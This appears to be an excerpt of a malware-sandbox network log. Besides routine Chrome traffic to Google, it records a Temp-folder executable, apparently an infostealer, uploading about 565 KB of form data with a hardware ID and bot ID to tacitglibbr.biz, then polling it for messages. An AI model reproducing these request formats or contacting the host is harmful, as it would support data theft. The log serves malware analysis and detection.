2024-12-16 14:02:36 UTC	473	IN	Data Raw: 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 33 30 30 2c 33 37 30 30 39 34 39 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 5c 75 Data Ascii: enu-content","metadata":{"bar_height":60,"experiment_id":[3700300,3700949,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){var window\u
2024-12-16 14:02:36 UTC	287	IN	Data Raw: 31 31 38 0d 0a 74 65 6e 65 72 3f 62 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 63 2c 64 2c 21 31 29 3a 62 5c 75 30 30 32 36 5c 75 30 30 32 36 62 2e 61 74 74 61 63 68 45 76 65 6e 74 3f 62 2e 61 74 74 61 63 68 45 76 65 6e 74 28 5c 22 6f 6e 5c 22 2b 63 2c 64 29 3a 61 2e 6f 2e 6c 6f 67 28 45 72 72 6f 72 28 5c 22 42 60 5c 22 2b 62 29 29 7d 7d 3b 5c 6e 7d 63 61 74 63 68 28 65 29 7b 5f 2e 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 28 65 29 7d 5c 6e 74 72 79 7b 5c 6e 76 61 72 20 44 64 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 5c 22 2e 67 62 5f 49 20 2e 67 62 5f 41 5c 22 29 2c 45 64 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 5c 22 23 67 62 2e 67 62 5f 52 63 5c 22 29 Data Ascii: 118tener?b.addEventListener(c,d,!1):b\u0026\u0026b.attachEvent?b.attachEvent(\"on\"+c,d):a.o.log(Error(\"B`\"+b))}};\n}catch(e){_._DumpException(e)}\ntry{\nvar Dd\u003ddocument.querySelector(\".gb_I .gb_A\"),Ed\u003ddocument.querySelector(\"#gb.gb_Rc\")
2024-12-16 14:02:36 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 5f 2e 43 64 28 5f 2e 6c 64 2c 44 64 2c 5c 22 63 6c 69 63 6b 5c 22 29 3b 5c 6e 7d 63 61 74 63 68 28 65 29 7b 5f 2e 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 28 65 29 7d 5c 6e 74 72 79 7b 5c 6e 5f 2e 46 64 5c 75 30 30 33 64 74 79 70 65 6f 66 20 41 73 79 6e 63 43 6f 6e 74 65 78 74 21 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 75 6e 64 65 66 69 6e 65 64 5c 22 5c 75 30 30 32 36 5c 75 30 30 32 36 74 79 70 65 6f 66 20 41 73 79 6e 63 43 6f 6e 74 65 78 74 2e 53 6e 61 70 73 68 6f 74 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 66 75 6e 63 74 69 6f 6e 5c 22 3f 61 5c 75 30 30 33 64 5c 75 30 30 33 65 61 5c 75 30 30 32 36 5c 75 30 30 32 36 41 73 79 6e 63 43 6f 6e 74 65 78 74 2e 53 6e 61 70 73 68 6f 74 2e 77 72 61 70 28 61 29 3a 61 5c 75 Data Ascii: 8000_.Cd(_.ld,Dd,\"click\");\n}catch(e){_._DumpException(e)}\ntry{\n_.Fd\u003dtypeof AsyncContext!\u003d\u003d\"undefined\"\u0026\u0026typeof AsyncContext.Snapshot\u003d\u003d\u003d\"function\"?a\u003d\u003ea\u0026\u0026AsyncContext.Snapshot.wrap(a):a\u
2024-12-16 14:02:36 UTC	1390	IN	Data Raw: 75 6d 62 65 72 2e 69 73 46 69 6e 69 74 65 28 61 29 3f 61 7c 30 3a 76 6f 69 64 20 30 7d 3b 5f 2e 54 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 29 72 65 74 75 72 6e 20 61 3b 69 66 28 74 79 70 65 6f 66 20 61 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 72 69 6e 67 5c 22 29 7b 69 66 28 21 61 29 72 65 74 75 72 6e 3b 61 5c 75 30 30 33 64 2b 61 7d 69 66 28 74 79 70 65 6f 66 20 61 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6e 75 6d 62 65 72 5c 22 29 72 65 74 75 72 6e 20 4e 75 6d 62 65 72 2e 69 73 46 69 6e 69 74 65 28 61 29 3f 61 7c 30 3a 76 6f 69 64 20 30 7d 3b 56 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 29 7b 6c 65 74 20 61 5c 75 30 30 33 64 6e Data Ascii: umber.isFinite(a)?a\|0:void 0};_.Td\u003dfunction(a){if(a\u003d\u003dnull)return a;if(typeof a\u003d\u003d\u003d\"string\"){if(!a)return;a\u003d+a}if(typeof a\u003d\u003d\u003d\"number\")return Number.isFinite(a)?a\|0:void 0};Vd\u003dfunction(){let a\u003dn
2024-12-16 14:02:36 UTC	1390	IN	Data Raw: 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 5c 75 30 30 33 64 30 29 7b 72 65 74 75 72 6e 20 5f 2e 76 62 28 5f 2e 67 65 28 61 2c 62 29 2c 63 29 7d 3b 5f 2e 68 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 5c 75 30 30 33 64 30 29 7b 72 65 74 75 72 6e 20 5f 2e 76 62 28 5f 2e 53 28 61 2c 62 29 2c 63 29 7d 3b 5f 2e 6a 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 61 2e 6c 61 73 74 49 6e 64 65 78 4f 66 28 62 2c 30 29 5c 75 30 30 33 64 5c 75 30 30 33 64 30 7d 3b 55 64 5c 75 30 30 33 64 5f 2e 4d 64 3b 5f 2e 59 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 Data Ascii: 3dfunction(a,b,c\u003d0){return _.vb(_.ge(a,b),c)};_.he\u003dfunction(a,b,c\u003d0){return _.vb(_.S(a,b),c)};_.je\u003dfunction(a,b){return a.lastIndexOf(b,0)\u003d\u003d0};Ud\u003d_.Md;_.Yd\u003dclass{constructor(a){this.i\u003da}toString(){return this.i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	49945	172.217.21.36	443	7672	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:02:35 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-16 14:02:36 UTC	933	IN	HTTP/1.1 200 OK Version: 704583840 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Mon, 16 Dec 2024 14:02:36 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-16 14:02:36 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-12-16 14:02:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	49954	104.21.50.161	443	5036	C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:02:35 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=9QIZ67BUBRB1T2S User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 565785 Host: tacitglibbr.biz
2024-12-16 14:02:35 UTC	15331	OUT	Data Raw: 2d 2d 39 51 49 5a 36 37 42 55 42 52 42 31 54 32 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 45 31 39 44 31 37 36 34 44 46 34 44 34 38 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 39 51 49 5a 36 37 42 55 42 52 42 31 54 32 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 39 51 49 5a 36 37 42 55 42 52 42 31 54 32 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 39 51 49 5a 36 Data Ascii: --9QIZ67BUBRB1T2SContent-Disposition: form-data; name="hwid"CCE19D1764DF4D48AC8923850305D13E--9QIZ67BUBRB1T2SContent-Disposition: form-data; name="pid"1--9QIZ67BUBRB1T2SContent-Disposition: form-data; name="lid"PsFKDg--pablo--9QIZ6
2024-12-16 14:02:35 UTC	15331	OUT	Data Raw: 95 a9 d8 37 62 91 9c a7 79 6e 24 5a ff 40 16 b5 b6 d0 7f 3f 9e 1e 54 a8 45 4a 04 4d 0a bf 29 ec dc 3f b7 cb d0 c0 ec 58 57 78 4f 62 98 ff b9 9e ee 24 83 e5 ba cd a1 23 40 82 9d 69 6f fc 35 8c bb de 13 03 58 db 81 c7 aa 45 93 86 be 78 85 dd 0e 13 61 65 d7 4a bd 2b cf bf fc ee ce 85 d4 02 f8 4c 46 b3 19 70 a7 39 53 29 b5 b4 a5 e3 8d 26 31 94 33 08 9a af 8d ff ef 9b 11 02 fe ef 00 e7 08 d6 99 d0 80 08 3c 95 ff cf 2d 29 8b 72 20 05 ac 60 39 42 12 cd 70 44 c8 ec 3d 83 65 d9 6c 75 c6 cb a0 16 78 cc 76 fd b5 dd 40 2d 12 b6 14 59 e4 4d 18 69 01 9f 81 0a e7 8e 37 18 df ab 1f 04 e9 d4 28 7d 9c fb 44 bd 2e 5f 81 77 7d 9a 76 f1 e5 41 cc 70 84 2c b2 f3 01 81 c1 32 e4 7d 3c c1 4b ff a4 e4 d8 22 96 47 77 47 be 96 b3 9e ac 92 02 73 1d 84 da fe 14 52 ca 03 da 76 6e e9 ce Data Ascii: 7byn$Z@?TEJM)?XWxOb$#@io5XExaeJ+LFp9S)&13<-)r `9BpD=eluxv@-YMi7(}D._w}vAp,2}<K"GwGsRvn
2024-12-16 14:02:35 UTC	15331	OUT	Data Raw: d9 ad 67 67 89 4e 53 43 92 c9 db 57 6c 48 c7 41 b1 fc 13 7e e9 a8 f0 cb 94 95 52 32 73 26 64 aa 7a 7e 89 d2 3d 42 d9 d9 66 d6 71 98 7e f5 61 0c 53 f6 8f 1f 87 14 f9 3a 6f cb 00 c4 d6 c8 51 97 bf ab 27 3e e7 0f 07 4f 67 4c ff 75 ac 80 65 ed 92 88 b9 20 b7 8b 18 68 21 00 6e 53 34 c2 e5 11 00 17 52 17 b4 e3 e7 dd 97 7f ec 22 3c 8d fd 6a 1f 4e 39 99 5a 45 5f 57 5c ec a7 6c 75 8d 60 0e c8 ff 2c 37 5a ce 0b a1 4c 1a c2 91 c4 64 e9 ee 4a cc 54 ed c4 6b 42 7d f3 3b db da fe 2f 0e 1f 5f c9 82 b3 03 35 67 20 5a 7e 21 1f e0 ea 61 b6 be 0b 73 1e 00 c6 c7 ff fd f0 b1 43 e0 25 1c 5b 6c 83 e2 f9 5f 65 f0 33 49 a0 d8 49 cc f2 ff 6e 08 17 39 cb 6f 99 23 42 44 53 05 a0 a6 8f cd 14 7e 10 82 82 47 6d 56 63 5d 41 73 53 25 52 9b 96 5a 37 56 67 c1 46 ef 26 09 8c 49 80 80 57 47 Data Ascii: ggNSCWlHA~R2s&dz~=Bfq~aS:oQ'>OgLue h!nS4R"<jN9ZE_W\lu`,7ZLdJTkB};/_5g Z~!asC%[l_e3IIn9o#BDS~GmVc]AsS%RZ7VgF&IWG
2024-12-16 14:02:35 UTC	15331	OUT	Data Raw: 22 2f 6d 9e f7 9b cd 20 b8 f6 a4 f8 7d 89 c4 82 e8 71 4e db ed 57 02 dc 80 53 b5 9a e9 9f 3e 85 85 b8 3f 7e d0 ca db bc bb 13 f7 6f 22 90 88 94 f4 cd bb b6 ed a7 b6 a8 33 39 f9 fa 64 75 0a c1 5d 9c 7d 6e cf 9e 7d ce 80 35 49 bb 39 4e 7e a3 8b ec 50 6e 08 16 0c 60 9f 61 34 57 bb ff 35 89 40 0c 55 ef 81 a7 c6 ce 57 b5 ca 8d 4e cb 46 ee d5 6a ea 1d bd da e9 db d2 69 39 ff 88 4f 4e d3 f6 9e be 14 d7 e2 3d 23 78 78 ad cf 6c 8b 33 b6 78 46 15 e8 34 c6 3b 94 2d e7 14 12 2f fb 72 d9 03 f2 1c b2 a1 e9 bf 44 ba c0 73 ef 36 20 9c 50 6b 5b 89 3a bf b3 e2 61 94 28 bd f6 0a eb 5c 9a 3a e3 c2 d5 b9 2b f9 66 9b ae 1d b2 f1 c3 8d d7 0e 36 63 b5 e8 e2 66 0c 4e 5d b4 40 6b f6 73 6c 3b 18 bb a8 2c 68 75 2a cc 98 3b 17 fa 48 96 52 f7 d7 2c 33 83 fd f4 ed b0 93 2c c0 f9 36 65 Data Ascii: "/m }qNWS>?~o"39du]}n}5I9N~Pn`a4W5@UWNFji9ON=#xxl3xF4;-/rDs6 Pk[:a(\:+f6cfN]@ksl;,hu*;HR,3,6e
2024-12-16 14:02:35 UTC	15331	OUT	Data Raw: 28 60 c4 9f 1c 80 f4 15 4e c5 75 20 88 f5 c6 41 bf af 89 17 e6 07 9c a7 2d 38 4f d2 8e de 97 9c 59 f6 fc fd a5 1e 2b 15 cb c8 d8 41 97 42 e8 97 43 e8 39 27 ba 35 90 79 26 9e fb 5b 29 9d 8c 8a 42 51 62 7c 28 91 c9 c6 9b 12 b9 6f 9c 93 bc 8f ec a8 4f eb f4 bc 98 1e c4 73 62 66 68 89 09 50 cd 38 4e 52 67 ae 2b 38 1e 37 2f 16 48 5d e5 4c f1 b5 22 29 31 31 e0 9e a6 28 75 0a f7 7f 17 cc 4e b4 f0 74 e0 50 49 7e f6 a9 50 5e 78 a4 af 40 06 76 6f 7d c4 d6 b0 36 38 2c 8d 74 8b fc d2 40 94 ec 56 49 53 f1 59 43 ef 79 70 86 df 2b 51 c8 4e 72 1f e6 3f 0d 61 59 04 bd 5b ef ff 3b 75 ff bf 07 58 ec 3b df 84 9e 3c 86 2d 06 e9 06 20 55 6a d1 d3 6d 20 fc 20 f9 0f 99 be 73 45 17 58 85 95 74 7d 73 e0 03 02 bc b2 a3 20 35 b7 5c b6 57 70 95 5b 96 14 86 b0 70 f9 f9 cd ba 99 96 80 Data Ascii: (`Nu A-8OY+ABC9'5y&[)BQb\|(oOsbfhP8NRg+87/H]L")11(uNtPI~P^x@vo}68,t@VISYCyp+QNr?aY[;uX;<- Ujm sEXt}s 5\Wp[p
2024-12-16 14:02:35 UTC	15331	OUT	Data Raw: 20 c4 f1 ff ca 59 ca c1 ac 70 fc 75 38 9e 2f 42 13 1c fd 70 f2 aa e7 cf 75 f9 e1 66 4e dc 33 df 24 f2 23 f6 66 7d d7 38 5f 7f 81 20 2f 4c 19 c2 31 ac c0 de 18 b9 d9 3e 1f 75 6f dc 51 6f c1 a9 e0 3b 7c 40 1f 13 1d 03 c0 a7 38 e8 51 51 ed bc 58 34 e5 ed 9d c3 c8 86 8b 24 b7 0d cb af 70 20 fb bf 01 5c f3 de 17 2e d7 2a 0e 68 8d 20 69 2b 47 11 25 a5 ec 7b b2 51 17 1d d6 3b af f3 55 2a 08 90 f4 e7 ac e5 a2 be 03 8d d1 a6 67 cf b1 db 21 53 99 0d 52 89 ed 77 0e a0 81 5c ff fd ac 4e b6 cc 6d b4 03 96 7c 8e 3b 31 b2 ef 23 b0 c5 12 e8 0a 2f 3b da 1b 48 6d e0 65 8b fa f1 31 6b e7 a8 2a ab 99 5c c6 ac f8 15 51 5d df 4d 57 77 6d b2 fb a2 82 0c 25 90 ff 14 a1 e3 74 b8 f1 c2 7b 8b 74 f3 09 43 4f d5 f8 b8 f2 90 22 76 66 4f 7d de d2 fa 96 f1 0f a7 51 c5 fd 04 34 54 31 69 Data Ascii: Ypu8/BpufN3$#f}8_ /L1>uoQo;\|@8QQX4$p \.h i+G%{Q;Ug!SRw\Nm\|;1#/;Hme1k*\Q]MWwm%t{tCO"vfO}Q4T1i
2024-12-16 14:02:35 UTC	15331	OUT	Data Raw: ab 1a ce bb 75 c5 8c b9 7d 7a f3 46 dc a1 5b 6f af e1 25 51 5f f5 9a 6a de fa 97 be 6d 6d e9 64 8a dc 1d 8e d8 ad 26 70 85 f3 5a 9f 2a 3f 95 9b b3 fb 53 72 57 2d b4 e6 8f 9c 92 d9 95 48 35 23 9d f7 f4 d8 23 c2 52 4f c3 3a de 18 4d 93 0e 6c ea 07 ec dd bf 97 0b 8a d9 35 86 56 af a0 8e bc e8 6d 5f 99 59 69 10 19 1c f6 e2 7f f2 3f d5 d2 0f 07 9a 30 c0 01 f7 64 9a 79 e4 36 10 a7 d0 6c 98 1f 1e 89 d3 95 80 a7 1c 24 75 17 8e f3 e1 c5 59 b6 42 e6 05 66 7b dd b5 f5 08 e2 3a 66 3b 4e 16 d2 5e 9d a3 b8 f2 00 c5 69 0d 51 52 ee 59 5a 97 f1 ea bf b6 9e c9 59 15 20 41 16 62 0a 4c 63 6e cb 25 d5 3f 12 dc b7 77 44 11 0b 05 6c 0a 6d d7 0f 58 e0 3c 3d d8 d7 c7 2d 3c ad a8 98 78 38 ba df f2 46 58 f5 96 c2 75 c9 48 86 ff a2 26 7b 6e 54 8b bf ee 30 2f f3 b8 c0 99 92 71 09 b2 Data Ascii: u}zF[o%Q_jmmd&pZ*?SrW-H5##RO:Ml5Vm_Yi?0dy6l$uYBf{:f;N^iQRYZY AbLcn%?wDlmX<=-<x8FXuH&{nT0/q
2024-12-16 14:02:35 UTC	15331	OUT	Data Raw: 32 02 04 d0 f5 a5 44 23 e3 2b 5a 4f 55 de 28 e1 54 fc 78 40 57 4e 9d ec 38 de 2d d6 03 9e 8e 56 ba a9 58 0a ae bc 19 8e 9f ba 51 c3 8c 40 00 9b af 7f 13 83 c6 af cb 2b 39 74 80 03 91 5e d4 c0 cb 98 af 4a e0 48 d1 d2 8d f4 d9 8c 4a 0a 3f 94 c9 5e 4b 4e 89 cf f1 de 70 9c f0 11 f6 c7 80 f1 f6 88 85 bf 2d 94 68 2b 7f 51 45 4d 6f 8c 30 97 c2 84 fe 63 1e 5e 48 f3 f6 1b 5d b9 cd b8 ac 49 a3 72 9e 01 ff 0b 3b ad d3 7b 80 46 c2 fc 8d a0 02 57 d6 0e 6a 55 09 1c dd 2d 99 79 8e 13 08 6b dd 21 72 d2 ac d6 15 81 86 9e d8 c8 f1 e0 bd 9c 7b c3 43 95 5a 20 87 64 4d c4 32 8d 44 d3 fc 3a cf 4b c5 ae 10 17 56 ed 64 34 0a ef 6e bc 36 7d 92 d0 ea 56 d5 52 ff 69 66 f5 98 73 3a f9 97 9d ff f6 19 87 b4 72 13 ce 15 af b0 e0 4d 66 4a ba 79 15 43 c9 48 29 c1 89 d8 b9 d5 7e 77 a6 5d Data Ascii: 2D#+ZOU(Tx@WN8-VXQ@+9t^JHJ?^KNp-h+QEMo0c^H]Ir;{FWjU-yk!r{CZ dM2D:KVd4n6}VRifs:rMfJyCH)~w]
2024-12-16 14:02:35 UTC	15331	OUT	Data Raw: 12 a3 60 f9 be 93 b6 a9 21 3a 10 dc 41 85 07 1c 4f 0b 3b b8 44 e8 a9 2f af ab b5 5a 5c fa cf 29 ba bd 83 b9 ff 60 83 e1 81 ac 7b 54 77 08 83 7a 45 89 33 6e 71 fc 4a 22 a0 92 08 68 5b 57 51 7a 2a 55 87 b7 9b 32 9b 96 34 7c de bb ba 3f 88 15 fb ff 95 40 f9 34 ff 3f 7e 6f d3 ff ec 98 c0 ce 5e 2d 20 7b 61 77 00 16 41 77 bc e0 cc 6f fb 04 49 7a 82 0e 3b 7b c2 48 d4 7e a6 36 a3 fb f1 f5 fe 7a 61 69 db 8f da 75 74 8d 03 c2 24 ca 53 15 d1 f2 5b 0e 98 e5 1b 47 18 8e 10 ce 71 e9 78 64 d8 37 e1 1c b0 f8 e5 8f a2 04 e4 49 c1 ff fb 1b da 4c 33 b9 c2 19 b2 e5 2a c3 b6 60 4f 7b 40 9e 31 10 13 cb 4f af 51 8d e1 02 05 0e 25 35 7c 07 01 90 28 d1 42 8b cc a6 c0 50 bd 2b 13 c3 1d 36 19 ff 49 87 c6 6d b7 3f 0d 8f dc 29 e7 e3 be 1f 4d b7 4c 24 f0 93 70 58 64 44 e9 b4 cd 20 7c Data Ascii: `!:AO;D/Z\)`{TwzE3nqJ"h[WQzU24\|?@4?~o^- {awAwoIz;{H~6zaiut$S[Gqxd7IL3`O{@1OQ%5\|(BP+6Im?)ML$pXdD \|
2024-12-16 14:02:35 UTC	15331	OUT	Data Raw: ff 79 d9 e4 38 2f b8 43 2c 7e 71 a9 3a fd 33 cc 60 4a d4 ab d6 38 a4 28 8c bb 32 d3 fc fe de 1a f6 eb 67 04 eb 81 61 21 9f 8a bd c9 c4 f4 30 aa 70 f7 d8 c6 9c 5e 27 d7 98 7c 4a ea 6e 6d f2 58 3c f9 b0 62 ed a4 90 ec eb c9 80 a5 f7 67 62 39 b7 72 bb 16 dd 20 f0 d2 04 5c 8b 86 47 90 51 7e ec f5 95 97 61 de 77 26 eb 45 f2 3c 9e 61 43 8f ed bd 51 7d 0b 68 fe e1 3b 35 6f b7 4c 2d 3a fb 8b ad c4 b6 05 29 a8 60 80 d0 f9 c8 08 09 8e f8 43 10 e0 b3 fc 92 a5 11 6e 54 d1 d3 ba 9e 1b de 27 7c 72 55 3e de 87 e7 52 7b d1 30 3e ed 66 20 1a f5 eb b2 f8 40 18 2f b0 d7 7e 41 c4 c0 e5 85 d8 9e 0c f3 08 c1 de 11 9d 61 f9 6d 34 c7 5d ca c8 d0 e0 75 de 8c 11 a6 41 12 c1 00 7b 7d 4e 07 80 26 f0 05 e8 df bc 4b 77 66 49 e8 7f a7 0a b2 f1 28 05 04 df 41 6f 70 16 06 68 5e d4 30 42 Data Ascii: y8/C,~q:3`J8(2ga!0p^'\|JnmX<bgb9r \GQ~aw&E<aCQ}h;5oL-:)`CnT'\|rU>R{0>f @/~Aam4]uA{}N&KwfI(Aoph^0B
2024-12-16 14:02:37 UTC	1020	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:02:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=c743oglu9v2nsiju0atljqikt7; expires=Fri, 11-Apr-2025 07:49:16 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RCu%2FpSwLvDVcRD7a85P0indNjd71XmdZer9aAtvJ3bZ0dP7Ac9kkKyZGJF3zD%2BB19oELORymdJziDI%2FMRMAbaYhR1l5o8eCkcNd1z%2BXKD5xyhNig5emO0zztmQ8MGjoGFOs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2f3645ff4b4379-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1668&min_rtt=1668&rtt_var=834&sent=326&recv=593&lost=0&retrans=1&sent_bytes=4218&recv_bytes=568306&delivery_rate=161558&cwnd=194&unsent_bytes=0&cid=cee15f217839ae79&ts=2357&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	49963	104.21.50.161	443	5036	C:\Users\user\AppData\Local\Temp\1016127001\90c05232da.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 14:02:39 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 82 Host: tacitglibbr.biz
2024-12-16 14:02:39 UTC	82	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d 26 68 77 69 64 3d 43 43 45 31 39 44 31 37 36 34 44 46 34 44 34 38 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 Data Ascii: act=get_message&ver=4.0&lid=PsFKDg--pablo&j=&hwid=CCE19D1764DF4D48AC8923850305D13E
2024-12-16 14:02:40 UTC	1009	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 14:02:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1aa3v178n3q37ojir069rlj6ta; expires=Fri, 11-Apr-2025 07:49:18 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CvpOnNNXm36bvlFTe30Syk%2FQWBLm3I%2FCEviWQzmEfoVs4uo6OJvLkFEOmda5vC7MmSBBD6HbeQ624ippa0FGHFzshWN2htnQiqCpjQoauARhfNKqbRGI2ucEx6zE6yIHKSs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2f365d7934c481-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1528&min_rtt=1525&rtt_var=578&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2840&recv_bytes=981&delivery_rate=1883870&cwnd=236&unsent_bytes=0&cid=705f1063bf62cbce&ts=781&x=0"
